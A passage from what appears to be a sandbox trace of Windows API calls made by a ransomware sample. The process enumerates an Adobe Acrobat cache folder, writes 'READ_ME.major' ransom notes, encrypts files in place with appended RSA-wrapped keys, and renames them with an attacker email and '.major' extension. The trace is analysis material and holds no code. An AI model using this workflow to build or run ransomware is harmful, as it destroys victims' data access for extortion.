[0192.470] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0192.470] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0192.470] FindNextFileW (in: hFindFile=0x2f86f28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Cache", cAlternateFileName="")) returned 1 [0192.470] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0192.470] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0192.470] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0192.470] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0192.470] GetLastError () returned 0x0 [0192.470] SetLastError (dwErrCode=0x0) [0192.470] GetLastError () returned 0x0 [0192.470] SetLastError (dwErrCode=0x0) [0192.470] GetLastError () returned 0x0 [0192.470] SetLastError (dwErrCode=0x0) [0192.470] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdbc8 [0192.470] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656df8 [0192.470] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdc40 [0192.470] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0192.470] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d250 [0192.471] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4808 [0192.471] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0192.471] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0192.471] GetLastError () returned 0x0 [0192.471] SetLastError (dwErrCode=0x0) [0192.471] GetLastError () returned 0x0 [0192.471] SetLastError (dwErrCode=0x0) [0192.471] GetLastError () returned 0x0 [0192.471] SetLastError (dwErrCode=0x0) [0192.471] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65cb30 [0192.471] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\cache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9f0 [0192.472] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65cb30 | out: hHeap=0x570000) returned 1 [0192.472] WriteFile (in: hFile=0x9f0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0192.473] CloseHandle (hObject=0x9f0) returned 1 [0192.473] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0192.473] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d250 | out: hHeap=0x570000) returned 1 [0192.473] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0192.473] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdc40 | out: hHeap=0x570000) returned 1 [0192.473] FindNextFileW (in: hFindFile=0x2f86f28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b7e48a8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7e48a8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x63727ff2, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xf6b0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="IconCacheRdr.dat", cAlternateFileName="ICONCA~1.DAT")) returned 1 [0192.473] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0192.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0192.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0192.473] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0192.473] GetLastError () returned 0x0 [0192.473] SetLastError (dwErrCode=0x0) [0192.473] GetLastError () returned 0x0 [0192.473] SetLastError (dwErrCode=0x0) [0192.473] GetLastError () returned 0x0 [0192.473] SetLastError (dwErrCode=0x0) [0192.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0192.473] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0192.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0192.473] FindNextFileW (in: hFindFile=0x2f86f28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8995a87, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe8995a87, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8995a87, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1aaac, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="IconCacheRdr65536.dat", cAlternateFileName="ICONCA~2.DAT")) returned 1 [0192.473] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0192.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0192.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0192.473] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0192.473] GetLastError () returned 0x0 [0192.473] SetLastError (dwErrCode=0x0) [0192.473] GetLastError () returned 0x0 [0192.473] SetLastError (dwErrCode=0x0) [0192.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2f82640 [0192.473] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0192.473] GetLastError () returned 0x0 [0192.474] SetLastError (dwErrCode=0x0) [0192.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0192.474] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0192.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65cff0 [0192.474] FindNextFileW (in: hFindFile=0x2f86f28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2980e2e0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2980e2e0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2980e2e0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0192.474] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0192.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0192.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0192.474] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0192.474] GetLastError () returned 0x0 [0192.474] SetLastError (dwErrCode=0x0) [0192.474] GetLastError () returned 0x0 [0192.474] SetLastError (dwErrCode=0x0) [0192.474] GetLastError () returned 0x0 [0192.474] SetLastError (dwErrCode=0x0) [0192.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e20 [0192.474] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e20 | out: hHeap=0x570000) returned 1 [0192.474] FindNextFileW (in: hFindFile=0x2f86f28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76642b27, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76642b27, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe8aecfcb, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SharedDataEvents", cAlternateFileName="SHARED~1")) returned 1 [0192.474] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0192.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0192.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0192.474] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0192.474] GetLastError () returned 0x0 [0192.474] SetLastError (dwErrCode=0x0) [0192.474] GetLastError () returned 0x0 [0192.474] SetLastError (dwErrCode=0x0) [0192.474] GetLastError () returned 0x0 [0192.474] SetLastError (dwErrCode=0x0) [0192.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0192.474] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0192.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0192.475] FindNextFileW (in: hFindFile=0x2f86f28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8a08189, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe8a08189, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8a08189, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="ToolsSearchCacheRdr", cAlternateFileName="TOOLSS~1")) returned 1 [0192.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0192.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0192.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0192.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0192.475] GetLastError () returned 0x0 [0192.475] SetLastError (dwErrCode=0x0) [0192.475] GetLastError () returned 0x0 [0192.475] SetLastError (dwErrCode=0x0) [0192.475] GetLastError () returned 0x0 [0192.475] SetLastError (dwErrCode=0x0) [0192.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0192.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0192.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0192.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0192.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65c838 [0192.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e20 [0192.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65d2e8 [0192.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d340 [0192.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1e0 [0192.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0192.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0192.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0192.475] GetLastError () returned 0x0 [0192.475] SetLastError (dwErrCode=0x0) [0192.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2f82640 [0192.476] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0192.476] GetLastError () returned 0x0 [0192.476] SetLastError (dwErrCode=0x0) [0192.476] GetLastError () returned 0x0 [0192.476] SetLastError (dwErrCode=0x0) [0192.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2ee3688 [0192.476] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\toolssearchcacherdr\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9f0 [0192.477] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee3688 | out: hHeap=0x570000) returned 1 [0192.477] WriteFile (in: hFile=0x9f0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0192.478] CloseHandle (hObject=0x9f0) returned 1 [0192.478] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0192.478] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1e0 | out: hHeap=0x570000) returned 1 [0192.478] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d340 | out: hHeap=0x570000) returned 1 [0192.478] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65d2e8 | out: hHeap=0x570000) returned 1 [0192.478] FindNextFileW (in: hFindFile=0x2f86f28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74f036ab, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x74f036ab, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x59d13ceb, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xf76f, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 1 [0192.478] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0192.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0192.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0192.478] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0192.478] GetLastError () returned 0x0 [0192.478] SetLastError (dwErrCode=0x0) [0192.478] GetLastError () returned 0x0 [0192.478] SetLastError (dwErrCode=0x0) [0192.478] GetLastError () returned 0x0 [0192.478] SetLastError (dwErrCode=0x0) [0192.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656f88 [0192.478] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656f88 | out: hHeap=0x570000) returned 1 [0192.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0192.478] FindNextFileW (in: hFindFile=0x2f86f28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74f036ab, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x74f036ab, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x59d13ceb, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xf76f, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 0 [0192.479] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0192.479] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e48 [0192.479] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0192.479] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin", dwFileAttributes=0x80) returned 1 [0192.479] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f88130 [0192.479] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x66c830 [0192.479] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f88130 | out: hHeap=0x570000) returned 1 [0192.479] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\usercache.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9f0 [0192.480] GetFileSizeEx (in: hFile=0x9f0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=63343) returned 1 [0192.480] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf76f) returned 0x2f89888 [0192.480] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf76f) returned 0x2f99000 [0192.480] ReadFile (in: hFile=0x9f0, lpBuffer=0x2f89888, nNumberOfBytesToRead=0xf76f, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f89888*, lpNumberOfBytesRead=0x2e3f9b4*=0xf76f, lpOverlapped=0x0) returned 1 [0192.491] SetFilePointer (in: hFile=0x9f0, lDistanceToMove=-63343, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.491] WriteFile (in: hFile=0x9f0, lpBuffer=0x2f99000*, nNumberOfBytesToWrite=0xf76f, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f99000*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf76f, lpOverlapped=0x0) returned 1 [0192.491] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f89888 | out: hHeap=0x570000) returned 1 [0192.491] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f99000 | out: hHeap=0x570000) returned 1 [0192.491] SetFilePointer (in: hFile=0x9f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf76f [0192.491] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.491] WriteFile (in: hFile=0x9f0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.491] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0192.491] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0192.492] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0192.492] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0192.492] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="iUYdFi//vKZzkdN2oTpL8VBKSvenaMS/Fx0PZ63Biq92nKlufZFzkJb4/ZJCj+3c\njx4+D8kBXrVbjC8z0hSUfx+6paJjzAGEo3Hb/9NzsgtDp62b32dgYfXLe4rE6lEf\ncd/jTnMxKP26A7s4Jop5f9g5BVq4kArWxpyPc8mwMH/I7+K1S72vSiTIOVgB8238\nM5u/QV61/K1i+WGrGaICWqEj4LpqPt7Q9//UseF1nKH8FwZYJWJhYz8HAS7633UC\n/udXFi5PIu56fYnzZEZRJxt2fSCJICuWuB5zM8HAGDOyP2RjVwbj7Afo4hx3ADw7\nvSUqCQCQzP30SgCr5Tn9mw==\n", pcchString=0x2e3f9a8) returned 1 [0192.492] WriteFile (in: hFile=0x9f0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0192.492] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.492] WriteFile (in: hFile=0x9f0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.492] CloseHandle (hObject=0x9f0) returned 1 [0192.492] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0192.492] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\usercache.bin"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\usercache.bin.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0192.520] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66c830 | out: hHeap=0x570000) returned 1 [0192.520] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e48 | out: hHeap=0x570000) returned 1 [0192.520] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0192.520] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0192.520] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0192.520] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e98 [0192.520] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0192.520] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents", dwFileAttributes=0x80) returned 1 [0192.520] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0192.520] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x66c170 [0192.520] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0192.520] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\shareddataevents"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9f0 [0192.521] GetFileSizeEx (in: hFile=0x9f0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=5120) returned 1 [0192.521] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1400) returned 0x2f2c008 [0192.521] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1400) returned 0x2f89888 [0192.521] ReadFile (in: hFile=0x9f0, lpBuffer=0x2f2c008, nNumberOfBytesToRead=0x1400, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f2c008*, lpNumberOfBytesRead=0x2e3f9b4*=0x1400, lpOverlapped=0x0) returned 1 [0192.597] SetFilePointer (in: hFile=0x9f0, lDistanceToMove=-5120, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.597] WriteFile (in: hFile=0x9f0, lpBuffer=0x2f89888*, nNumberOfBytesToWrite=0x1400, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f89888*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1400, lpOverlapped=0x0) returned 1 [0192.597] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f2c008 | out: hHeap=0x570000) returned 1 [0192.597] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f89888 | out: hHeap=0x570000) returned 1 [0192.597] SetFilePointer (in: hFile=0x9f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1400 [0192.598] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.598] WriteFile (in: hFile=0x9f0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.598] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0192.598] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0192.598] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, 